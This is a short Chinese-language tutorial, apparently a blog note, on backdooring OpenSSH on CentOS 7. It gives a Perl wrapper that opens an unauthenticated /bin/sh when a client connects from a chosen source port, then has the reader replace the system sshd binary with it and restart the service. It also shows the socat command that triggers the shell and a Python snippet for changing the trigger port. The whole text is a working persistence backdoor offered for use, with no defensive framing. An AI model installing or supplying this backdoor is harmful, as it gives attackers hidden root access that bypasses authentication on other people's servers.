环境
- centos7
影响范围:OpenSSH 3.9 以后的版本都有这样的特性
被控端设置
安装环境
rpm -qa perl ||yum install perl -y
# 查看是否安装perl环境
源码
#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
替换操作
mv /usr/sbin/sshd /usr/bin/sshd
# 移动默认sshd文件到其他位置
mv sshd /usr/sbin/sshd && chmod +x /usr/sbin/sshd
# 将修改的脚本放入sshd原有的位置
systemctl restart sshd
# 重启服务
控制端测试
yum install socat -y
# 安装socat工具
socat STDIO TCP4:10.0.1.125:22,sourceport=31334
# 连接目标主机
修改后们端口
python2
import struct
bigendian = struct.pack('>I',31333)
print repr(bigendian)
在perl正则匹配中将/^..zf/
替换为ze